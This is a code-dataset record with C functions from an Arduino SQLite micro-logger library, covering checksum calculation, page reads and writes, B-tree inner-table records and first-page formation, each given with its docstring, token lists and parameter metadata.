{ "returns": [], "raises": [], "params": [ { "identifier": "ptr", "type": "byte", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "rec_len", "type": "uint16_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "rowid", "type": "uint32_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "hdr_len", "type": "uint16_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
8632b774c5fd7e635e3ef750eaea9c93bbedca84
siara-cc/sqlite_micro_logger_arduino
src/ulog_sqlite.c
[ "Apache-2.0" ]
C
check_sums
int
int check_sums(byte *buf, int32_t page_size, int calc_or_check) { if (*buf == 5) // no need checksum for internal pages return DBLOG_RES_OK; if (*buf == 13) { int8_t vlen; uint8_t chk_sum = 0; uint16_t i = 0; uint16_t end = 8; while (i < end) // Header checksum chk_sum += buf[i++]; uint16_t last_pos = read_uint16(buf + 5); i = last_pos; end = i + LEN_OF_REC_LEN; read_vint32(buf + end, &vlen); end += vlen; while (i < end) // Header checksum chk_sum += buf[i++]; if (calc_or_check == 0) buf[last_pos - 1] = chk_sum; else if (calc_or_check == 1) { if (buf[last_pos - 1] != chk_sum) return DBLOG_RES_INV_CHKSUM; return DBLOG_RES_OK; } i = end; end += read_vint16(buf + end - vlen - LEN_OF_REC_LEN, &vlen); while (i < end) // First record checksum chk_sum += buf[i++]; if (calc_or_check == 0) buf[last_pos - 2] = chk_sum; else if (calc_or_check == 2) { if (buf[last_pos - 2] != chk_sum) return DBLOG_RES_INV_CHKSUM; return DBLOG_RES_OK; } i = end; end = page_size; while (i < end) // Page checksum chk_sum += buf[i++]; i = 8; end = i + read_uint16(buf + 3) * 2; while (i < end) // Page checksum chk_sum += buf[i++]; if (calc_or_check == 0) buf[last_pos - 3] = chk_sum; else { if (buf[last_pos - 3] != chk_sum) return DBLOG_RES_INV_CHKSUM; } } else { // Assume first page int i = 0; uint8_t chk_sum = 0; while (i < page_size) chk_sum += buf[i++]; chk_sum -= buf[69]; if (calc_or_check) buf[69] = chk_sum; else { if (buf[69] != chk_sum) return DBLOG_RES_ERR; } } return DBLOG_RES_OK; }
// Checks or calculates 3 checksums: // 1. Header checksum, which is for page header and last rowid // 2. Checksum of first record // 3. Checksum of entire page // Checksum is simply a 8 bit sum of byte values, ignoring overflows // calc_or_check == 0 means calculate all three checksums // calc_or_check == 1 means check header checksum // calc_or_check == 2 means check first record checksum // calc_or_check == 3 means check page checksum
Checks or calculates 3 checksums: 1. Header checksum, which is for page header and last rowid 2. Checksum of first record 3.
[ "Checks", "or", "calculates", "3", "checksums", ":", "1", ".", "Header", "checksum", "which", "is", "for", "page", "header", "and", "last", "rowid", "2", ".", "Checksum", "of", "first", "record", "3", "." ]
int check_sums(byte *buf, int32_t page_size, int calc_or_check) { if (*buf == 5) return DBLOG_RES_OK; if (*buf == 13) { int8_t vlen; uint8_t chk_sum = 0; uint16_t i = 0; uint16_t end = 8; while (i < end) chk_sum += buf[i++]; uint16_t last_pos = read_uint16(buf + 5); i = last_pos; end = i + LEN_OF_REC_LEN; read_vint32(buf + end, &vlen); end += vlen; while (i < end) chk_sum += buf[i++]; if (calc_or_check == 0) buf[last_pos - 1] = chk_sum; else if (calc_or_check == 1) { if (buf[last_pos - 1] != chk_sum) return DBLOG_RES_INV_CHKSUM; return DBLOG_RES_OK; } i = end; end += read_vint16(buf + end - vlen - LEN_OF_REC_LEN, &vlen); while (i < end) chk_sum += buf[i++]; if (calc_or_check == 0) buf[last_pos - 2] = chk_sum; else if (calc_or_check == 2) { if (buf[last_pos - 2] != chk_sum) return DBLOG_RES_INV_CHKSUM; return DBLOG_RES_OK; } i = end; end = page_size; while (i < end) chk_sum += buf[i++]; i = 8; end = i + read_uint16(buf + 3) * 2; while (i < end) chk_sum += buf[i++]; if (calc_or_check == 0) buf[last_pos - 3] = chk_sum; else { if (buf[last_pos - 3] != chk_sum) return DBLOG_RES_INV_CHKSUM; } } else { int i = 0; uint8_t chk_sum = 0; while (i < page_size) chk_sum += buf[i++]; chk_sum -= buf[69]; if (calc_or_check) buf[69] = chk_sum; else { if (buf[69] != chk_sum) return DBLOG_RES_ERR; } } return DBLOG_RES_OK; }
[ "int", "check_sums", "(", "byte", "*", "buf", ",", "int32_t", "page_size", ",", "int", "calc_or_check", ")", "{", "if", "(", "*", "buf", "==", "5", ")", "return", "DBLOG_RES_OK", ";", "if", "(", "*", "buf", "==", "13", ")", "{", "int8_t", "vlen", ";", "uint8_t", "chk_sum", "=", "0", ";", "uint16_t", "i", "=", "0", ";", "uint16_t", "end", "=", "8", ";", "while", "(", "i", "<", "end", ")", "chk_sum", "+=", "buf", "[", "i", "++", "]", ";", "uint16_t", "last_pos", "=", "read_uint16", "(", "buf", "+", "5", ")", ";", "i", "=", "last_pos", ";", "end", "=", "i", "+", "LEN_OF_REC_LEN", ";", "read_vint32", "(", "buf", "+", "end", ",", "&", "vlen", ")", ";", "end", "+=", "vlen", ";", "while", "(", "i", "<", "end", ")", "chk_sum", "+=", "buf", "[", "i", "++", "]", ";", "if", "(", "calc_or_check", "==", "0", ")", "buf", "[", "last_pos", "-", "1", "]", "=", "chk_sum", ";", "else", "if", "(", "calc_or_check", "==", "1", ")", "{", "if", "(", "buf", "[", "last_pos", "-", "1", "]", "!=", "chk_sum", ")", "return", "DBLOG_RES_INV_CHKSUM", ";", "return", "DBLOG_RES_OK", ";", "}", "i", "=", "end", ";", "end", "+=", "read_vint16", "(", "buf", "+", "end", "-", "vlen", "-", "LEN_OF_REC_LEN", ",", "&", "vlen", ")", ";", "while", "(", "i", "<", "end", ")", "chk_sum", "+=", "buf", "[", "i", "++", "]", ";", "if", "(", "calc_or_check", "==", "0", ")", "buf", "[", "last_pos", "-", "2", "]", "=", "chk_sum", ";", "else", "if", "(", "calc_or_check", "==", "2", ")", "{", "if", "(", "buf", "[", "last_pos", "-", "2", "]", "!=", "chk_sum", ")", "return", "DBLOG_RES_INV_CHKSUM", ";", "return", "DBLOG_RES_OK", ";", "}", "i", "=", "end", ";", "end", "=", "page_size", ";", "while", "(", "i", "<", "end", ")", "chk_sum", "+=", "buf", "[", "i", "++", "]", ";", "i", "=", "8", ";", "end", "=", "i", "+", "read_uint16", "(", "buf", "+", "3", ")", "*", "2", ";", "while", "(", "i", "<", "end", ")", "chk_sum", "+=", "buf", "[", "i", "++", "]", ";", "if", "(", "calc_or_check", "==", "0", ")", "buf", "[", "last_pos", "-", "3", "]", "=", "chk_sum", ";", "else", "{", "if", "(", "buf", "[", "last_pos", "-", "3", "]", "!=", "chk_sum", ")", "return", "DBLOG_RES_INV_CHKSUM", ";", "}", "}", "else", "{", "int", "i", "=", "0", ";", "uint8_t", "chk_sum", "=", "0", ";", "while", "(", "i", "<", "page_size", ")", "chk_sum", "+=", "buf", "[", "i", "++", "]", ";", "chk_sum", "-=", "buf", "[", "69", "]", ";", "if", "(", "calc_or_check", ")", "buf", "[", "69", "]", "=", "chk_sum", ";", "else", "{", "if", "(", "buf", "[", "69", "]", "!=", "chk_sum", ")", "return", "DBLOG_RES_ERR", ";", "}", "}", "return", "DBLOG_RES_OK", ";", "}" ]
Checks or calculates 3 checksums: 1.
[ "Checks", "or", "calculates", "3", "checksums", ":", "1", "." ]
[ "// no need checksum for internal pages", "// Header checksum", "// Header checksum", "// First record checksum", "// Page checksum", "// Page checksum", "// Assume first page" ]
[ { "param": "buf", "type": "byte" }, { "param": "page_size", "type": "int32_t" }, { "param": "calc_or_check", "type": "int" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "buf", "type": "byte", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "page_size", "type": "int32_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "calc_or_check", "type": "int", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
8632b774c5fd7e635e3ef750eaea9c93bbedca84
siara-cc/sqlite_micro_logger_arduino
src/ulog_sqlite.c
[ "Apache-2.0" ]
C
write_page
int
int write_page(struct dblog_write_context *wctx, uint32_t page_no, int32_t page_size) { check_sums(wctx->buf, page_size, 0); if ((wctx->write_fn)(wctx, wctx->buf, page_no * page_size, page_size) != page_size) return DBLOG_RES_WRITE_ERR; return DBLOG_RES_OK; }
// Writes a page to disk using the given callback function
Writes a page to disk using the given callback function
[ "Writes", "a", "page", "to", "disk", "using", "the", "given", "callback", "function" ]
int write_page(struct dblog_write_context *wctx, uint32_t page_no, int32_t page_size) { check_sums(wctx->buf, page_size, 0); if ((wctx->write_fn)(wctx, wctx->buf, page_no * page_size, page_size) != page_size) return DBLOG_RES_WRITE_ERR; return DBLOG_RES_OK; }
[ "int", "write_page", "(", "struct", "dblog_write_context", "*", "wctx", ",", "uint32_t", "page_no", ",", "int32_t", "page_size", ")", "{", "check_sums", "(", "wctx", "->", "buf", ",", "page_size", ",", "0", ")", ";", "if", "(", "(", "wctx", "->", "write_fn", ")", "(", "wctx", ",", "wctx", "->", "buf", ",", "page_no", "*", "page_size", ",", "page_size", ")", "!=", "page_size", ")", "return", "DBLOG_RES_WRITE_ERR", ";", "return", "DBLOG_RES_OK", ";", "}" ]
Writes a page to disk using the given callback function
[ "Writes", "a", "page", "to", "disk", "using", "the", "given", "callback", "function" ]
[]
[ { "param": "wctx", "type": "struct dblog_write_context" }, { "param": "page_no", "type": "uint32_t" }, { "param": "page_size", "type": "int32_t" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "wctx", "type": "struct dblog_write_context", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "page_no", "type": "uint32_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "page_size", "type": "int32_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
8632b774c5fd7e635e3ef750eaea9c93bbedca84
siara-cc/sqlite_micro_logger_arduino
src/ulog_sqlite.c
[ "Apache-2.0" ]
C
read_bytes_wctx
int
int read_bytes_wctx(struct dblog_write_context *wctx, byte *buf, long pos, int32_t size) { if ((wctx->read_fn)(wctx, buf, pos, size) != size) return DBLOG_RES_READ_ERR; return DBLOG_RES_OK; }
// Reads specified number of bytes from disk using the given callback function // for Write context
Reads specified number of bytes from disk using the given callback function for Write context
[ "Reads", "specified", "number", "of", "bytes", "from", "disk", "using", "the", "given", "callback", "function", "for", "Write", "context" ]
int read_bytes_wctx(struct dblog_write_context *wctx, byte *buf, long pos, int32_t size) { if ((wctx->read_fn)(wctx, buf, pos, size) != size) return DBLOG_RES_READ_ERR; return DBLOG_RES_OK; }
[ "int", "read_bytes_wctx", "(", "struct", "dblog_write_context", "*", "wctx", ",", "byte", "*", "buf", ",", "long", "pos", ",", "int32_t", "size", ")", "{", "if", "(", "(", "wctx", "->", "read_fn", ")", "(", "wctx", ",", "buf", ",", "pos", ",", "size", ")", "!=", "size", ")", "return", "DBLOG_RES_READ_ERR", ";", "return", "DBLOG_RES_OK", ";", "}" ]
Reads specified number of bytes from disk using the given callback function for Write context
[ "Reads", "specified", "number", "of", "bytes", "from", "disk", "using", "the", "given", "callback", "function", "for", "Write", "context" ]
[]
[ { "param": "wctx", "type": "struct dblog_write_context" }, { "param": "buf", "type": "byte" }, { "param": "pos", "type": "long" }, { "param": "size", "type": "int32_t" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "wctx", "type": "struct dblog_write_context", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "buf", "type": "byte", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "pos", "type": "long", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "size", "type": "int32_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
8632b774c5fd7e635e3ef750eaea9c93bbedca84
siara-cc/sqlite_micro_logger_arduino
src/ulog_sqlite.c
[ "Apache-2.0" ]
C
read_bytes_rctx
int
int read_bytes_rctx(struct dblog_read_context *rctx, byte *buf, long pos, int32_t size) { if ((rctx->read_fn)(rctx, buf, pos, size) != size) return DBLOG_RES_READ_ERR; return DBLOG_RES_OK; }
// Reads specified number of bytes from disk using the given callback function // for Read context
Reads specified number of bytes from disk using the given callback function for Read context
[ "Reads", "specified", "number", "of", "bytes", "from", "disk", "using", "the", "given", "callback", "function", "for", "Read", "context" ]
int read_bytes_rctx(struct dblog_read_context *rctx, byte *buf, long pos, int32_t size) { if ((rctx->read_fn)(rctx, buf, pos, size) != size) return DBLOG_RES_READ_ERR; return DBLOG_RES_OK; }
[ "int", "read_bytes_rctx", "(", "struct", "dblog_read_context", "*", "rctx", ",", "byte", "*", "buf", ",", "long", "pos", ",", "int32_t", "size", ")", "{", "if", "(", "(", "rctx", "->", "read_fn", ")", "(", "rctx", ",", "buf", ",", "pos", ",", "size", ")", "!=", "size", ")", "return", "DBLOG_RES_READ_ERR", ";", "return", "DBLOG_RES_OK", ";", "}" ]
Reads specified number of bytes from disk using the given callback function for Read context
[ "Reads", "specified", "number", "of", "bytes", "from", "disk", "using", "the", "given", "callback", "function", "for", "Read", "context" ]
[]
[ { "param": "rctx", "type": "struct dblog_read_context" }, { "param": "buf", "type": "byte" }, { "param": "pos", "type": "long" }, { "param": "size", "type": "int32_t" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "rctx", "type": "struct dblog_read_context", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "buf", "type": "byte", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "pos", "type": "long", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "size", "type": "int32_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
8632b774c5fd7e635e3ef750eaea9c93bbedca84
siara-cc/sqlite_micro_logger_arduino
src/ulog_sqlite.c
[ "Apache-2.0" ]
C
add_rec_to_inner_tbl
int
int add_rec_to_inner_tbl(struct dblog_write_context *wctx, byte *parent_buf, uint32_t rowid, uint32_t cur_level_pos) { int32_t page_size = get_pagesize(wctx->page_size_exp); uint16_t last_pos = read_uint16(parent_buf + 5); int rec_count = read_uint16(parent_buf + 3) + 1; byte rec_len = 4 + get_vlen_of_uint32(rowid); if (last_pos == 0) last_pos = page_size - rec_len; else { // 3 is for checksum if (last_pos - rec_len < 12 + rec_count * 2 + get_vlen_of_uint32(rowid) + 3) last_pos = 0; else last_pos -= rec_len; } cur_level_pos++; if (last_pos && rowid) { write_uint32(parent_buf + last_pos, cur_level_pos); write_vint32(parent_buf + last_pos + 4, rowid); write_uint16(parent_buf + 3, rec_count--); write_uint16(parent_buf + 12 + rec_count * 2, last_pos); write_uint16(parent_buf + 5, last_pos); } else { write_uint32(parent_buf + 8, cur_level_pos); rec_count--; write_vint32(parent_buf + 12 + rec_count * 2, rowid); return 1; } // No corruption checking because no unreliable source return DBLOG_RES_OK; }
// Adds record to B-Tree inner table
Adds record to B-Tree inner table
[ "Adds", "record", "to", "B", "-", "Tree", "inner", "table" ]
int add_rec_to_inner_tbl(struct dblog_write_context *wctx, byte *parent_buf, uint32_t rowid, uint32_t cur_level_pos) { int32_t page_size = get_pagesize(wctx->page_size_exp); uint16_t last_pos = read_uint16(parent_buf + 5); int rec_count = read_uint16(parent_buf + 3) + 1; byte rec_len = 4 + get_vlen_of_uint32(rowid); if (last_pos == 0) last_pos = page_size - rec_len; else { if (last_pos - rec_len < 12 + rec_count * 2 + get_vlen_of_uint32(rowid) + 3) last_pos = 0; else last_pos -= rec_len; } cur_level_pos++; if (last_pos && rowid) { write_uint32(parent_buf + last_pos, cur_level_pos); write_vint32(parent_buf + last_pos + 4, rowid); write_uint16(parent_buf + 3, rec_count--); write_uint16(parent_buf + 12 + rec_count * 2, last_pos); write_uint16(parent_buf + 5, last_pos); } else { write_uint32(parent_buf + 8, cur_level_pos); rec_count--; write_vint32(parent_buf + 12 + rec_count * 2, rowid); return 1; } return DBLOG_RES_OK; }
[ "int", "add_rec_to_inner_tbl", "(", "struct", "dblog_write_context", "*", "wctx", ",", "byte", "*", "parent_buf", ",", "uint32_t", "rowid", ",", "uint32_t", "cur_level_pos", ")", "{", "int32_t", "page_size", "=", "get_pagesize", "(", "wctx", "->", "page_size_exp", ")", ";", "uint16_t", "last_pos", "=", "read_uint16", "(", "parent_buf", "+", "5", ")", ";", "int", "rec_count", "=", "read_uint16", "(", "parent_buf", "+", "3", ")", "+", "1", ";", "byte", "rec_len", "=", "4", "+", "get_vlen_of_uint32", "(", "rowid", ")", ";", "if", "(", "last_pos", "==", "0", ")", "last_pos", "=", "page_size", "-", "rec_len", ";", "else", "{", "if", "(", "last_pos", "-", "rec_len", "<", "12", "+", "rec_count", "*", "2", "+", "get_vlen_of_uint32", "(", "rowid", ")", "+", "3", ")", "last_pos", "=", "0", ";", "else", "last_pos", "-=", "rec_len", ";", "}", "cur_level_pos", "++", ";", "if", "(", "last_pos", "&&", "rowid", ")", "{", "write_uint32", "(", "parent_buf", "+", "last_pos", ",", "cur_level_pos", ")", ";", "write_vint32", "(", "parent_buf", "+", "last_pos", "+", "4", ",", "rowid", ")", ";", "write_uint16", "(", "parent_buf", "+", "3", ",", "rec_count", "--", ")", ";", "write_uint16", "(", "parent_buf", "+", "12", "+", "rec_count", "*", "2", ",", "last_pos", ")", ";", "write_uint16", "(", "parent_buf", "+", "5", ",", "last_pos", ")", ";", "}", "else", "{", "write_uint32", "(", "parent_buf", "+", "8", ",", "cur_level_pos", ")", ";", "rec_count", "--", ";", "write_vint32", "(", "parent_buf", "+", "12", "+", "rec_count", "*", "2", ",", "rowid", ")", ";", "return", "1", ";", "}", "return", "DBLOG_RES_OK", ";", "}" ]
Adds record to B-Tree inner table
[ "Adds", "record", "to", "B", "-", "Tree", "inner", "table" ]
[ "// 3 is for checksum", "// No corruption checking because no unreliable source" ]
[ { "param": "wctx", "type": "struct dblog_write_context" }, { "param": "parent_buf", "type": "byte" }, { "param": "rowid", "type": "uint32_t" }, { "param": "cur_level_pos", "type": "uint32_t" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "wctx", "type": "struct dblog_write_context", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "parent_buf", "type": "byte", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "rowid", "type": "uint32_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "cur_level_pos", "type": "uint32_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
8632b774c5fd7e635e3ef750eaea9c93bbedca84
siara-cc/sqlite_micro_logger_arduino
src/ulog_sqlite.c
[ "Apache-2.0" ]
C
form_page1
int
int form_page1(struct dblog_write_context *wctx, char *table_name, char *table_script) { if (wctx->page_size_exp < 9 || wctx->page_size_exp > 16) return DBLOG_RES_INV_PAGE_SZ; byte *buf = (byte *) wctx->buf; int32_t page_size = get_pagesize(wctx->page_size_exp); wctx->cur_write_rowid = 0; // 100 byte header - refer https://www.sqlite.org/fileformat.html memcpy(buf, dblog_sig, 16); //memcpy(buf, "SQLite format 3\0", 16); write_uint16(buf + 16, page_size == 65536 ? 1 : (uint16_t) page_size); buf[18] = 1; buf[19] = 1; buf[20] = wctx->page_resv_bytes; buf[21] = 64; buf[22] = 32; buf[23] = 32; //write_uint32(buf + 24, 0); //write_uint32(buf + 28, 0); //write_uint32(buf + 32, 0); //write_uint32(buf + 36, 0); //write_uint32(buf + 40, 0); memset(buf + 24, '\0', 20); // Set to zero, above 5 write_uint32(buf + 28, 2); // TODO: Update during finalize write_uint32(buf + 44, 4); //write_uint16(buf + 48, 0); //write_uint16(buf + 52, 0); memset(buf + 48, '\0', 8); // Set to zero, above 2 write_uint32(buf + 56, 1); // User version initially 0, set to table leaf count // used to locate last leaf page for binary search // and move to last page. write_uint32(buf + 60, 0); write_uint32(buf + 64, 0); // App ID - set to 0xA5xxxxxx where A5 is signature // last 5 bits = wctx->max_pages_exp - set to 0 currently // till it is implemented write_uint32(buf + 68, 0xA5000000); memset(buf + 72, '\0', 20); // reserved space write_uint32(buf + 92, 105); write_uint32(buf + 96, 3016000); memset(buf + 100, '\0', page_size - 100); // Set remaing page to zero // master table b-tree init_bt_tbl_leaf(buf + 100); // write table script record int orig_col_count = wctx->col_count; wctx->cur_write_page = 0; wctx->col_count = 5; dblog_append_empty_row(wctx); dblog_set_col_val(wctx, 0, DBLOG_TYPE_TEXT, "table", 5); if (table_name == NULL) table_name = default_table_name; dblog_set_col_val(wctx, 1, DBLOG_TYPE_TEXT, table_name, strlen(table_name)); dblog_set_col_val(wctx, 2, DBLOG_TYPE_TEXT, table_name, strlen(table_name)); int32_t root_page = 2; dblog_set_col_val(wctx, 3, DBLOG_TYPE_INT, &root_page, 4); if (table_script) { uint16_t script_len = strlen(table_script); if (script_len > page_size - 100 - wctx->page_resv_bytes - 8 - 10) return DBLOG_RES_TOO_LONG; dblog_set_col_val(wctx, 4, DBLOG_TYPE_TEXT, table_script, script_len); } else { int table_name_len = strlen(table_name); int script_len = (13 + table_name_len + 2 + 5 * orig_col_count); if (script_len > page_size - 100 - wctx->page_resv_bytes - 8 - 10) return DBLOG_RES_TOO_LONG; dblog_set_col_val(wctx, 4, DBLOG_TYPE_TEXT, buf + 110, script_len); byte *script_pos = buf + page_size - buf[20] - script_len; memcpy(script_pos, "CREATE TABLE ", 13); script_pos += 13; memcpy(script_pos, table_name, table_name_len); script_pos += table_name_len; *script_pos++ = ' '; *script_pos++ = '('; for (int i = 0; i < orig_col_count; ) { i++; *script_pos++ = 'c'; *script_pos++ = '0' + (i < 100 ? 0 : (i / 100)); *script_pos++ = '0' + (i < 10 ? 0 : ((i < 100 ? i : i - 100) / 10)); *script_pos++ = '0' + (i % 10); *script_pos++ = (i == orig_col_count ? ')' : ','); } } int res = write_page(wctx, 0, page_size); if (res) return res; wctx->col_count = orig_col_count; wctx->cur_write_page = 1; wctx->cur_write_rowid = 0; init_bt_tbl_leaf(wctx->buf); wctx->state = DBLOG_ST_WRITE_PENDING; return DBLOG_RES_OK; }
// Writes data into buffer to form first page of Sqlite db
Writes data into buffer to form first page of Sqlite db
[ "Writes", "data", "into", "buffer", "to", "form", "first", "page", "of", "Sqlite", "db" ]
int form_page1(struct dblog_write_context *wctx, char *table_name, char *table_script) { if (wctx->page_size_exp < 9 || wctx->page_size_exp > 16) return DBLOG_RES_INV_PAGE_SZ; byte *buf = (byte *) wctx->buf; int32_t page_size = get_pagesize(wctx->page_size_exp); wctx->cur_write_rowid = 0; memcpy(buf, dblog_sig, 16); write_uint16(buf + 16, page_size == 65536 ? 1 : (uint16_t) page_size); buf[18] = 1; buf[19] = 1; buf[20] = wctx->page_resv_bytes; buf[21] = 64; buf[22] = 32; buf[23] = 32; memset(buf + 24, '\0', 20); write_uint32(buf + 28, 2); write_uint32(buf + 44, 4); memset(buf + 48, '\0', 8); write_uint32(buf + 56, 1); write_uint32(buf + 60, 0); write_uint32(buf + 64, 0); write_uint32(buf + 68, 0xA5000000); memset(buf + 72, '\0', 20); write_uint32(buf + 92, 105); write_uint32(buf + 96, 3016000); memset(buf + 100, '\0', page_size - 100); init_bt_tbl_leaf(buf + 100); int orig_col_count = wctx->col_count; wctx->cur_write_page = 0; wctx->col_count = 5; dblog_append_empty_row(wctx); dblog_set_col_val(wctx, 0, DBLOG_TYPE_TEXT, "table", 5); if (table_name == NULL) table_name = default_table_name; dblog_set_col_val(wctx, 1, DBLOG_TYPE_TEXT, table_name, strlen(table_name)); dblog_set_col_val(wctx, 2, DBLOG_TYPE_TEXT, table_name, strlen(table_name)); int32_t root_page = 2; dblog_set_col_val(wctx, 3, DBLOG_TYPE_INT, &root_page, 4); if (table_script) { uint16_t script_len = strlen(table_script); if (script_len > page_size - 100 - wctx->page_resv_bytes - 8 - 10) return DBLOG_RES_TOO_LONG; dblog_set_col_val(wctx, 4, DBLOG_TYPE_TEXT, table_script, script_len); } else { int table_name_len = strlen(table_name); int script_len = (13 + table_name_len + 2 + 5 * orig_col_count); if (script_len > page_size - 100 - wctx->page_resv_bytes - 8 - 10) return DBLOG_RES_TOO_LONG; dblog_set_col_val(wctx, 4, DBLOG_TYPE_TEXT, buf + 110, script_len); byte *script_pos = buf + page_size - buf[20] - script_len; memcpy(script_pos, "CREATE TABLE ", 13); script_pos += 13; memcpy(script_pos, table_name, table_name_len); script_pos += table_name_len; *script_pos++ = ' '; *script_pos++ = '('; for (int i = 0; i < orig_col_count; ) { i++; *script_pos++ = 'c'; *script_pos++ = '0' + (i < 100 ? 0 : (i / 100)); *script_pos++ = '0' + (i < 10 ? 0 : ((i < 100 ? i : i - 100) / 10)); *script_pos++ = '0' + (i % 10); *script_pos++ = (i == orig_col_count ? ')' : ','); } } int res = write_page(wctx, 0, page_size); if (res) return res; wctx->col_count = orig_col_count; wctx->cur_write_page = 1; wctx->cur_write_rowid = 0; init_bt_tbl_leaf(wctx->buf); wctx->state = DBLOG_ST_WRITE_PENDING; return DBLOG_RES_OK; }
[ "int", "form_page1", "(", "struct", "dblog_write_context", "*", "wctx", ",", "char", "*", "table_name", ",", "char", "*", "table_script", ")", "{", "if", "(", "wctx", "->", "page_size_exp", "<", "9", "||", "wctx", "->", "page_size_exp", ">", "16", ")", "return", "DBLOG_RES_INV_PAGE_SZ", ";", "byte", "*", "buf", "=", "(", "byte", "*", ")", "wctx", "->", "buf", ";", "int32_t", "page_size", "=", "get_pagesize", "(", "wctx", "->", "page_size_exp", ")", ";", "wctx", "->", "cur_write_rowid", "=", "0", ";", "memcpy", "(", "buf", ",", "dblog_sig", ",", "16", ")", ";", "write_uint16", "(", "buf", "+", "16", ",", "page_size", "==", "65536", "?", "1", ":", "(", "uint16_t", ")", "page_size", ")", ";", "buf", "[", "18", "]", "=", "1", ";", "buf", "[", "19", "]", "=", "1", ";", "buf", "[", "20", "]", "=", "wctx", "->", "page_resv_bytes", ";", "buf", "[", "21", "]", "=", "64", ";", "buf", "[", "22", "]", "=", "32", ";", "buf", "[", "23", "]", "=", "32", ";", "memset", "(", "buf", "+", "24", ",", "'", "\\0", "'", ",", "20", ")", ";", "write_uint32", "(", "buf", "+", "28", ",", "2", ")", ";", "write_uint32", "(", "buf", "+", "44", ",", "4", ")", ";", "memset", "(", "buf", "+", "48", ",", "'", "\\0", "'", ",", "8", ")", ";", "write_uint32", "(", "buf", "+", "56", ",", "1", ")", ";", "write_uint32", "(", "buf", "+", "60", ",", "0", ")", ";", "write_uint32", "(", "buf", "+", "64", ",", "0", ")", ";", "write_uint32", "(", "buf", "+", "68", ",", "0xA5000000", ")", ";", "memset", "(", "buf", "+", "72", ",", "'", "\\0", "'", ",", "20", ")", ";", "write_uint32", "(", "buf", "+", "92", ",", "105", ")", ";", "write_uint32", "(", "buf", "+", "96", ",", "3016000", ")", ";", "memset", "(", "buf", "+", "100", ",", "'", "\\0", "'", ",", "page_size", "-", "100", ")", ";", "init_bt_tbl_leaf", "(", "buf", "+", "100", ")", ";", "int", "orig_col_count", "=", "wctx", "->", "col_count", ";", "wctx", "->", "cur_write_page", "=", "0", ";", "wctx", "->", "col_count", "=", "5", ";", "dblog_append_empty_row", "(", "wctx", ")", ";", "dblog_set_col_val", "(", "wctx", ",", "0", ",", "DBLOG_TYPE_TEXT", ",", "\"", "\"", ",", "5", ")", ";", "if", "(", "table_name", "==", "NULL", ")", "table_name", "=", "default_table_name", ";", "dblog_set_col_val", "(", "wctx", ",", "1", ",", "DBLOG_TYPE_TEXT", ",", "table_name", ",", "strlen", "(", "table_name", ")", ")", ";", "dblog_set_col_val", "(", "wctx", ",", "2", ",", "DBLOG_TYPE_TEXT", ",", "table_name", ",", "strlen", "(", "table_name", ")", ")", ";", "int32_t", "root_page", "=", "2", ";", "dblog_set_col_val", "(", "wctx", ",", "3", ",", "DBLOG_TYPE_INT", ",", "&", "root_page", ",", "4", ")", ";", "if", "(", "table_script", ")", "{", "uint16_t", "script_len", "=", "strlen", "(", "table_script", ")", ";", "if", "(", "script_len", ">", "page_size", "-", "100", "-", "wctx", "->", "page_resv_bytes", "-", "8", "-", "10", ")", "return", "DBLOG_RES_TOO_LONG", ";", "dblog_set_col_val", "(", "wctx", ",", "4", ",", "DBLOG_TYPE_TEXT", ",", "table_script", ",", "script_len", ")", ";", "}", "else", "{", "int", "table_name_len", "=", "strlen", "(", "table_name", ")", ";", "int", "script_len", "=", "(", "13", "+", "table_name_len", "+", "2", "+", "5", "*", "orig_col_count", ")", ";", "if", "(", "script_len", ">", "page_size", "-", "100", "-", "wctx", "->", "page_resv_bytes", "-", "8", "-", "10", ")", "return", "DBLOG_RES_TOO_LONG", ";", "dblog_set_col_val", "(", "wctx", ",", "4", ",", "DBLOG_TYPE_TEXT", ",", "buf", "+", "110", ",", "script_len", ")", ";", "byte", "*", "script_pos", "=", "buf", "+", "page_size", "-", "buf", "[", "20", "]", "-", "script_len", ";", "memcpy", "(", "script_pos", ",", "\"", "\"", ",", "13", ")", ";", "script_pos", "+=", "13", ";", "memcpy", "(", "script_pos", ",", "table_name", ",", "table_name_len", ")", ";", "script_pos", "+=", "table_name_len", ";", "*", "script_pos", "++", "=", "'", "'", ";", "*", "script_pos", "++", "=", "'", "'", ";", "for", "(", "int", "i", "=", "0", ";", "i", "<", "orig_col_count", ";", ")", "{", "i", "++", ";", "*", "script_pos", "++", "=", "'", "'", ";", "*", "script_pos", "++", "=", "'", "'", "+", "(", "i", "<", "100", "?", "0", ":", "(", "i", "/", "100", ")", ")", ";", "*", "script_pos", "++", 